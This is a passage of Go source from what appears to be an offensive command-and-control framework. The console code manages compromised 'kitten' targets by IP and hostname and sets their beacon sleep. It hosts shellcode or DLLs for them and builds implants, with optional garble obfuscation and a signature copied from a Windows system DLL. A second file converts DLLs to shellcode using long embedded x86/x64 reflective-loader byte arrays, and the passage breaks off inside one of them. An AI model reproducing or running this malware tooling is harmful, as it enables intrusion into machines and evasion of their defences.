util.ErrPrint(err) 36 | return 37 | } 38 | err = http.HostDll(path, function, kittenName) 39 | } else { 40 | err = http.HostShellcode(path, kittenName) 41 | } 42 | if err != nil { 43 | util.ErrPrint(err) 44 | return 45 | } 46 | } 47 | 48 | // sleep change the sleep time of a target 49 | func sleep(in []string, kittenName string) { 50 | if len(in) != 2 { 51 | util.ErrPrint(fmt.Errorf("invalid input")) 52 | return 53 | } 54 | time, err := strconv.Atoi(in[1]) 55 | if err != nil { 56 | util.ErrPrint(err) 57 | return 58 | } 59 | err = http.HostSleep(time, kittenName) 60 | if err != nil { 61 | return 62 | } 63 | } 64 | 65 | // interact switch to interactive mode 66 | func interact() { 67 | printTarget() 68 | if len(http.Targets) == 0 { 69 | fmt.Println(color.Red("No targets")) 70 | return 71 | } 72 | //diretly interact with a target 73 | if len(http.Targets) == 1 { 74 | for _, v := range http.Targets { 75 | err := Interact(v.GetName()) 76 | if err != nil { 77 | return 78 | } 79 | return 80 | } 81 | } 82 | fmt.Printf("%s", color.Yellow("[*] Please enter the id of the kitten")) 83 | id, err := i.Read("id: ") 84 | if err != nil { 85 | util.ErrPrint(err) 86 | return 87 | } 88 | s, err := strconv.Atoi(id) 89 | if err != nil { 90 | util.ErrPrint(fmt.Errorf("invalid input")) 91 | return 92 | } 93 | kittenName, err := findId(s) 94 | if err != nil { 95 | util.ErrPrint(err) 96 | return 97 | } 98 | if _, ok := http.Targets[kittenName]; !ok { 99 | util.ErrPrint(fmt.Errorf("invalid id")) 100 | return 101 | } 102 | if !http.Targets[kittenName].GetAlive() { 103 | util.ErrPrint(fmt.Errorf("this kittens is dead")) 104 | return 105 | } 106 | fmt.Println() 107 | err = Interact(http.Targets[kittenName].GetName()) 108 | if err != nil { 109 | util.ErrPrint(err) 110 | return 111 | } 112 | } 113 | 114 | // printTarget print the targets 115 | func printTarget() { 116 | fmt.Printf("\n%s\n", color.Green("[*] Targets:")) 117 | fmt.Printf("%s\n", color.Green("Id:\tKitten name:\tIp:\t\tHostname:\t\tLast seen:\tSleep:\tAlive:")) 118 | fmt.Printf("%s\n", color.Green("═══\t════════════\t═══\t\t═════════\t\t══════════\t══════\t══════")) 119 | 120 | for name, x := range http.Targets { 121 | var e string 122 | if x.GetAlive() { 123 | e = "Yes" 124 | fmt.Printf("%d\t%s\t\t%s\t%s\t\t%s\t%d\t%s\n", 125 | x.GetId(), 126 | color.Yellow(name), 127 | color.Yellow(x.InitChecks.GetIp()), 128 | color.Yellow(x.InitChecks.GetHostname()), 129 | color.Yellow(x.GetLastSeen().Format("15:04:05")), 130 | color.Yellow(x.GetSleep()), 131 | color.Yellow(e)) 132 | 133 | } else { 134 | e = "No 💀" 135 | fmt.Printf("%d\t%s\t\t%s\t%s\t\t%s\t%d\t%s\n", 136 | x.GetId(), 137 | color.Red(name), 138 | color.Red(x.InitChecks.GetIp()), 139 | color.Red(x.InitChecks.GetHostname()), 140 | color.Red(x.GetLastSeen().Format("15:04:05")), 141 | color.Red(x.GetSleep()), 142 | color.Red(e)) 143 | 144 | } 145 | } 146 | fmt.Println() 147 | } 148 | 149 | // findId find the id of a target 150 | func findId(id int) (string, error) { 151 | for _, x := range http.Targets { 152 | if x.GetId() == id { 153 | return x.GetName(), nil 154 | } 155 | } 156 | return "", fmt.Errorf("invalid id") 157 | } 158 | 159 | // printConfig print the config 160 | func printConfig(conf config.General) { 161 | fmt.Printf("\n%s\t\t%s\n", color.Green("Host:"), color.Yellow(conf.GetHost())) 162 | fmt.Printf("%s\t\t%d\n", color.Green("Port:"), color.Yellow(conf.GetPort())) 163 | fmt.Printf("%s\t%s\n", color.Green("Endpoint:"), color.Yellow(conf.GetEndpoint())) 164 | fmt.Printf("%s\t%s\n", color.Green("UserAgent:"), color.Yellow(conf.GetUserAgent())) 165 | fmt.Printf("%s\t\t%d\n", color.Green("Sleep:"), color.Yellow(conf.GetSleep())) 166 | for _, v := range conf.GetMalPath() { 167 | fmt.Printf("%s\t%s\n", color.Green("Malware path:"), color.Yellow(v)) 168 | } 169 | fmt.Println() 170 | } 171 | 172 | func genMalwareQuick() error { 173 | var compiler string 174 | outputPath := "./output/Kitten.exe" 175 | fmt.Println(color.Yellow(outputPath)) 176 | fmt.Println("Generating a new kittens") 177 | kittenList, err := generate.NewKittenList() 178 | names := kittenList.GetKittenNames() 179 | if err != nil { 180 | return err 181 | } 182 | 183 | fmt.Printf("%s\n%s\n", color.Yellow("0 : go"), color.Yellow("1 : garble")) 184 | fmt.Printf("\n%s\n", color.Yellow("[!] Please chose the compiler")) 185 | id, err := i.Read("id: ") 186 | if err != nil { 187 | return err 188 | } 189 | s, err := strconv.Atoi(id) 190 | if s != 0 && s != 1 { 191 | return fmt.Errorf("invalid input") 192 | } 193 | if s == 0 { 194 | compiler = "go" 195 | } else { 196 | compiler = "garble" 197 | } 198 | fmt.Println() 199 | printKittens(names) 200 | //select a kitten 201 | fmt.Printf("\n%s\n", color.Yellow("[!] Please enter the id of the kitten to generate")) 202 | id, err = i.Read("id: ") 203 | if err != nil { 204 | return err 205 | } 206 | s, err = strconv.Atoi(id) 207 | if err != nil { 208 | return fmt.Errorf("invalid choice") 209 | } 210 | path, err := kittenList.GetKittensPath(names[s]) 211 | if err != nil { 212 | return err 213 | } 214 | spin := spinner.New(spinner.CharSets[23], 100*time.Millisecond) 215 | spin.Start() 216 | 217 | err, out1 := generate.Description(outputPath) 218 | if err != nil { 219 | spin.Stop() 220 | return err 221 | } 222 | var out2 string 223 | if compiler == "go" { 224 | err, out2 = generate.GoBuild(outputPath, path) 225 | if err != nil { 226 | spin.Stop() 227 | return err 228 | } 229 | } else { 230 | err, out2 = generate.GarbleBuild(outputPath, path) 231 | if err != nil { 232 | spin.Stop() 233 | return err 234 | } 235 | } 236 | signedBinary := "C:\\Windows\\System32\\wscsvc.dll" 237 | 238 | err, out3 := generate.Signe(signedBinary, outputPath) 239 | if err != nil { 240 | spin.Stop() 241 | return err 242 | } 243 | spin.Stop() 244 | fmt.Println(color.Green(out1)) 245 | fmt.Println(color.Green(out2)) 246 | fmt.Println(color.Green(out3)) 247 | return error(nil) 248 | } 249 | 250 | func printKittens(names []string) { 251 | fmt.Printf("%s\n", color.Green("Kitten names:")) 252 | for id, v := range names { 253 | fmt.Printf("%d : %s\n", color.Yellow(id), color.Yellow(v)) 254 | } 255 | } 256 | -------------------------------------------------------------------------------- /cmd/srdi/dllToShellcode.go: -------------------------------------------------------------------------------- 1 | package srdi 2 | 3 | // Modifed version of https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3 4 | 5 | import ( 6 | "encoding/binary" 7 | "math" 8 | ) 9 | 10 | // DLLToShellcode converts a DLL to shellcode 11 | func DllToShellcode(dllBytes []byte, functionName string) ([]byte, error) { 12 | 13 | // functionHash is 0x10 by default, otherwise get the hash and convert to bytes 14 | var hashFunction []byte 15 | hashFunctionUint32 := hashFunctionName(functionName) 16 | hashFunction = pack(hashFunctionUint32) 17 | 18 | shellcode := convertToShellcode(dllBytes, hashFunction) 19 | return shellcode, nil 20 | 21 | } 22 | 23 | func convertToShellcode(dllBytes, functionHash []byte) []byte { 24 | rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB} 25 | rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 